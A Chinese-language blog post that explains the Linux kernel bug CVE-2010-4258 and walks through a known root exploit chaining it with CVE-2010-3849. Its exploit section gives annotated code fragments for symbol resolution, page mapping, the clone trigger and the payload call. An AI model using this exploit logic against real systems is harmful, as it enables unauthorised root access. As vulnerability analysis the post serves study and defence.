標籤:root exploit cve-2010-4258 android linux
/*
本文章由 莫灰灰 編寫,轉載請註明出處。
莫灰灰 郵箱: [email protected]
*/
一. 漏洞簡介
CVE-2010-4258這個漏洞很有意思,主要思路是如果通過clone函數去建立進程,並且帶有CLONE_CHILD_CLEARTID標誌,那麼進程在退出的時候,可以造成核心任意地址寫0的bug。PoC代碼利用了多個漏洞來達到許可權提升的目的。
二. 前置知識 (進程建立、退出)
1.當fork或者clone一個進程在的時候, copy_process執行如下操作:
static struct task_struct *copy_process(unsigned long clone_flags, unsigned long stack_start, struct pt_regs *regs, unsigned long stack_size, int __user *child_tidptr, struct pid *pid, int trace){ p->set_child_tid = (clone_flags & CLONE_CHILD_SETTID) ? child_tidptr : NULL; /* * Clear TID on mm_release() */ p->clear_child_tid = (clone_flags & CLONE_CHILD_CLEARTID) ? child_tidptr: NULL;}如果clone的flag帶有CLONE_CHILD_CLEARTID標誌,那麼clear_child_tid指標中就會儲存應用程式層傳遞進來的child_tidptr的地址。
2.應用程式層調用clone函數,並傳遞CLONE_CHILD_CLEARTID標誌,則child_tidptr指標就會被賦值給子進程的clear_child_tid
clone((int (*)(void *))trigger, (void *)((unsigned long)newstack + 65536), CLONE_VM | CLONE_CHILD_CLEARTID | SIGCHLD, &fildes, NULL, NULL, child_tidptr);
3.進程在退出的時候調用do_exit清理資源,調用路徑如下:do_exit->exit_mm->mm_release
/** If we're exiting normally, clear a user-space tid field if* requested. We leave this alone when dying by signal, to leave* the value intact in a core dump, and to save the unnecessary* trouble, say, a killed vfork parent shouldn't touch this mm.* Userland only wants this done for a sys_exit.*/if (tsk->clear_child_tid) {if (!(tsk->flags & PF_SIGNALED) && atomic_read(&mm->mm_users) > 1) {/* * We don't check the error code - if userspace has * not set up a proper pointer then tough luck. */put_user(0, tsk->clear_child_tid);sys_futex(tsk->clear_child_tid, FUTEX_WAKE,1, NULL, NULL, 0);}tsk->clear_child_tid = NULL;}上述代碼中,如果tsk->clear_child_tid不為空白,那麼其會調用put_user(0, tsk->clear_child_tid);
4.put_user其實是一個宏,具體是__put_user_check函數,它會將tsk->clear_child_tid的值置為0
#define __put_user_check(x,ptr,size)({long __pu_err = -EFAULT;__typeof__(*(ptr)) __user *__pu_addr = (ptr);__typeof__(*(ptr)) __pu_val = x;if (likely(access_ok(VERIFY_WRITE, __pu_addr, size)))__put_user_size(__pu_val, __pu_addr, (size),__pu_err);__pu_err;})__put_user_check函數會調用access_ok去檢查傳進來的參數是否合法
#define access_ok(type,addr,size)_access_ok((unsigned long)(addr),(size))int _access_ok(unsigned long addr, unsigned long size){if (!size)return 1;if (!addr || addr > (0xffffffffUL - (size - 1)))goto _bad_access;if (segment_eq(get_fs(), KERNEL_DS))return 1;if (memory_start <= addr && (addr + size - 1) < memory_end)return 1;_bad_access:pr_debug("Bad access attempt: pid[%d] addr[%08lx] size[0x%lx]\n", current->pid, addr, size);return 0;}access_ok也是一個宏,具體函數為_access_ok,其主要對外部傳進來的addr和size參數做合法性檢查,其中關鍵調用語句如下
if (segment_eq(get_fs(), KERNEL_DS))
return 1;
# define get_fs() (current_thread_info()->addr_limit)
如果get_fs() = KERNEL_DS,那麼_access_ok檢查始終返回1.
三. 前置知識(無效地址訪問異常)
每當我們訪問一個無效地址的時候,系統便會執行do_page_fault去產生異常日誌,結束異常進程等。
int do_page_fault(struct pt_regs *regs, unsigned long address, unsigned int write_access, unsigned int trapno){// ......die("Oops", regs, (write_access << 15) | trapno, address);do_exit(SIGKILL);}
而往往一些核心bug產生的時候就滿足get_fs() = KERNEL_DS這個條件,這個很關鍵。
接下來看看CVE-2010-3849這個漏洞,它主要是一個0地址訪問異常漏洞,msg->msg_name可以由使用者空間控制,因此可以是個NULL值。接下來的saddr->cookie;這句調用就會造成0地址訪問異常。
static int econet_sendmsg(struct kiocb *iocb, struct socket *sock, struct msghdr *msg, size_t len){ struct sock *sk = sock->sk; struct sockaddr_ec *saddr=(struct sockaddr_ec *)msg->msg_name; eb->cookie = saddr->cookie;}
四. 漏洞利用
1.擷取需要用到的函數地址
/* Resolve addresses of relevant symbols */ printf("[*] Resolving kernel addresses...\n"); econet_ioctl = get_kernel_sym("econet_ioctl"); econet_ops = get_kernel_sym("econet_ops"); commit_creds = (_commit_creds) get_kernel_sym("commit_creds"); prepare_kernel_cred = (_prepare_kernel_cred) get_kernel_sym("prepare_kernel_cred");
2.申請一塊新進程的棧空間
if(!(newstack = malloc(65536))) { printf("[*] Failed to allocate memory.\n"); return -1; }
3.處理好需要映射的地址,比較關鍵
// econet_ops中儲存了各個econet函數的地址指標,// 10 * sizeof(void *)到達econet_ioctl的下一個函數地址// 再-1,那麼清零的時候是清掉了econet_ioctl下個函數地址的高24位元組和econet_ioctl函數的高8位元組target = econet_ops + 10 * sizeof(void *) - OFFSET; // 清掉econet_ioctl函數的高8位元組landing = econet_ioctl << SHIFT >> SHIFT;// landing按頁對齊,map了2個頁的記憶體payload = mmap((void *)(landing & ~0xfff), 2 * 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0); if ((long)payload == -1) { rintf("[*] Failed to mmap() at target address.\n"); return -1;}// 將提權代碼拷貝到landingmemcpy((void *)landing, &trampoline, 1024);
ps.這裡要說明一下,這裡為什麼要把地址映射到(econet_ioctl&0x00FFFFFF)位址範圍內,而不是直接將econet_ops指標數組中的econet_ioctl函數地址清零呢。那是因為新版本的linux不允許使用者直接調用mmap函數映射0地址了,所以採用了一個很巧妙的小技巧。
可以調用查看下系統最低映射的地址,我這裡是65536
4.clone進程
// trigger用來觸發CVE-2010-3849漏洞,是一個0地址訪問異常int trigger(int * fildes){ int ret; struct ifreq ifr; memset(&ifr, 0, sizeof(ifr)); strncpy(ifr.ifr_name, "eth0", IFNAMSIZ); ret = ioctl(fildes[2], SIOCSIFADDR, &ifr); if(ret < 0) { printf("[*] Failed to set Econet address.\n"); return -1; } splice(fildes[3], NULL, fildes[1], NULL, 128, 0); splice(fildes[0], NULL, fildes[2], NULL, 128, 0); /* Shouldn't get here... */ exit(0);}// clone進程,子進程調用trigger觸發0地址訪問的漏洞,進而將target指向的地址清0// 即清掉了econet_ioctl函數地址的高8位元組clone((int (*)(void *))trigger, (void *)((unsigned long)newstack + 65536), CLONE_VM | CLONE_CHILD_CLEARTID | SIGCHLD, &fildes, NULL, NULL, target);
5.最後ioctl函數觸發底層的econet_ioctl函數執行,而econet_ioctl函數的高8位元組已經被我們清零了,所以會調用到我們的map地址中,進而觸發提權代碼獲得root許可權
sleep(1);printf("[*] Triggering payload...\n");ioctl(fildes[2], 0, NULL);
參考文章:
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2010-4258
http://www.exploit-db.com/exploits/15704/
http://hi.baidu.com/wzt85/item/2467d70f893700133a53eed9